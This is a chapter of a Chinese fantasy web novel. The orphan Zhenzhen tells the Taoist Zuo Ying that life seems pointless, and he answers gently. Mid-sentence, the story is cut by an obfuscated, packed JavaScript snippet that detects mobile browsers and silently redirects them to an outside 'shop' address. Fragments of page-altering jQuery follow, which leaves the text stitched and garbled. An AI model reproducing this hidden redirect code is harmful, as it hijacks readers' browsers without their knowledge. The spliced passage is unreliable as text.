蓁蓁在玄极观住了下来。
这一住，便从初春住到了深冬。
山中不知岁月长，蝉鸣后只觉桂花开过便谢了，桂花谢过之后，院里的银杏便开始黄了。
先是叶尖上泛起一点金色，再渐渐蔓延到整片叶子，最后满树都成了金黄。
风一吹，叶子便纷纷扬扬地落下来，在地上铺了厚厚一层。
再接着便开始落雪。
蓁蓁每日的生活很简单。
清晨起来，自己洗漱，自己去厨房领一份早饭，吃过之后便在院子里走走，或是坐在老桂树下的石墩上发呆。
有时她会帮晒药材的居士把翻落在地上的几片枯叶捡起来，放回笸箩里。
有时她会帮厨房的赵婆婆把晒干的豆角收进筐里。
没有人吩咐她做这些事，她只是看见了，便顺手做了。
做完了，便又回到她常坐的那块石墩上，安静地待着。
黎素真偶尔会来找她说话，给她带一些杂书看。
他带来的书都是游记、志怪、杂谈之类的东西，浅显有趣，不费脑子。
他教蓁蓁认了几个新字，蓁蓁便自己捧着书慢慢读，遇到不认识的字就攒着，等黎素真来了再问他。
左婴一直没有再出现过。
蓁蓁也不问。
她不是不好奇，只是她从小便学会了一件事，不该问的事不要问。在拾翠楼里，多问一句话便多一分麻烦。
这个习惯养了八年，已经长在她骨头里了。
今日天色有些阴沉，像是要下雨却又一直没落下来。山间的雾气漫进院子里，把远处的松林和殿脊都罩在一片灰蒙蒙的颜色里。
蓁蓁坐在回廊的栏杆上，手里捧着一本《山海志异》，正读到“南海之外有鲛人，水居如鱼，不废织绩，其眼泣则能出珠”这一段。
她读得很慢，遇到不认识的字便停下来，用手指在掌心画一画，猜它的意思。猜不出来，便暂且跳过去，继续往下读。
她正读到鲛人织绡的段落，忽然觉得身侧的雾气动了动。
她抬起头来。
左婴不知什么时候已经站在了她身旁，正负着手，微微低头，看着她手中的书页。
他今日没有穿那件素净的道袍，换了一件深青色的氅衣，衣上落了一层薄薄的水雾。
他像是从雾里走出来的，又像是原本就站在那里，只是蓁蓁一直没有注意到。
蓁蓁合上书，从栏杆上滑下来，站好，叫了一声：“道长。”
她不知道该怎么称呼他，之前她唤他“道长”，他没有纠正，她便一直这样叫了。
左婴“嗯”了一声，没有看她，而是看着院子里那棵银杏树。
落着雪的树枝在雾气中并不显眼。
“这几个月，住得惯么。”他问。
“住得惯。”蓁蓁答。
“吃食可还合口？”
“合口。”
“有没有人欺负你？”
“没有。”
左婴问一句，蓁蓁答一句。她的回答简洁利落，没有一个多余的字。
不谄媚，不慌张，也不刻意表现得乖巧懂事。
她只是如实回答。
左婴又问了一句：“看书看得懂么。”
蓁蓁低头看了一眼手中的书，老实答道：“有些字不认识，猜着读的。”
左婴伸出手来，蓁蓁愣了一下，才明白他是在要书。
她把书递过去，左婴接过，翻开她正在读的那一页，扫了一眼，又阖上，还给她。
“遇到不认识的字，怎么不问你师兄。”
蓁蓁接过书，抱在怀里：“也不好总去烦他。”
左婴看了她一眼，没有再继续这个话题。
他沉默了一会儿，负着手，望着远处雾气中若隐若现的山脊。
“蓁蓁。”他忽然开口道。
“嗯。”
“你被我从黑山带回来那天，那只老妖的手离你眉心不过三寸，你为什么不躲。”
蓁蓁没有想到他会问这个问题。
她低下头，想了想，老实答道：“跑不掉。”
“跑不掉便不跑了？”
“嗯。”
左婴转过来，第一次正眼看着她。
他的目光不锐利，只是那样平平地看着她，像是在看一件有趣的东西。
“若是跑得掉呢？”
蓁蓁被他问住了。
她认真地想了一会儿，才道：“若是跑得掉……大约还是会跑的。”
“为何？”
“因为不想死。”
“不想死？”左婴重复了一遍这四个字，语气里带着一点难以捉摸的意味，“你那日在洞中，可不是这个反应。”
蓁蓁沉默了。
她知道他指的是什么。
她那日在洞中，看着黑山老妖的手朝自己盖下来，心里想的确实不是“我不想死”，而是“原来便是这样死的么”。
这个问题她自己也答不上来。
她低着头，手指无意识地摩挲着书页的边角，过了很久，她的声音比方才轻了一些：“我只是……不觉得活着有多好。”
她说出这句话的时候，院中一片寂静。
雾气在银杏树间缓缓流动。
“在拾翠楼的每天都是一样的，早上一碗粥，晚上一碗粥。学认字，学弹琵琶。偶尔李妈妈让我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504297|202867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下楼给客人看一眼，然后又是第二天。”
“我不知道自己为什么要活着，活着就是为了活着吗？”
“那活着和院子里那棵银杏树有什么区别呢？它站在那里，一年一年地长叶子，落叶子。”
“我活着，一年一年地吃饭，睡觉。都是一样的。”
她说这些话的时候，语气仍然平淡，像是在陈述一个与她无关的事实。
“可是，”她顿了顿，“可是那天在山洞里，被那只手抓着的时候，我看见永州城的烟火了。”
左婴没有说话，只是安静地听着。
“我从来没有见过烟火。在楼里的时候，窗户被钉死了，我只能听见声音。那天从天上飞过去的时候，我低头看见了。”
她微微停了一下，似乎在回忆那个画面，“金色的，一大朵在黑色的天幕上炸开，很亮。”
“那个时候我想，原来永州城的烟火是长这个样子的。”
她说完这句话，便没有再往下说了。
她自己也说不清楚为什么要说这些。
大约是这几个月中，左婴是唯一一个问了她这些问题的，又大约是这个问题她自己在心里已经想过很多遍了，只是一直没有人问她。
左婴沉默了很久。
雾气越来越浓，远处的殿脊已经开始模糊了。
左婴终于开口了，声音比方才轻了一些，带着一种蓁蓁从未在他身上听过的温和。
“你说活着没有意思。”
“嗯。”
“那你觉得死了就有意思了么。”
蓁蓁张了张嘴，没有答上来。
左婴没有等她的答案，继续道：“活着确实未必有意思。但死了一样没有意思。”
“那怎么办？”
左婴微微偏了偏头，像是在思考这个问题。
片刻后，他轻轻一笑：“既然两边都没有意思，那便不必急着选。先走着看罢，也许走一走，就看到有意思的东西了。”
蓁蓁抬起头看着他。
他站在雾气里，深青色的氅衣被风微微吹动，神情平静。
他说这话的时候语气很随意，像是在说一件极小极小的事，随手掸掉一粒灰尘那样。
蓁蓁低下头，看着怀里那本《山海志异》的书脊，没有说话。
但她把那本书抱得紧了一些。
左婴转身准备离开，走出两步，又停下来。
他没有回头，只是侧过脸：“那本书里不识得的字，圈出来，明日我让素真给你一本字典。”
他说完便走了，身影很快融进雾气里。
蓁蓁站在回廊下，抱着一本《山海志异》，望了眼他消失的方向。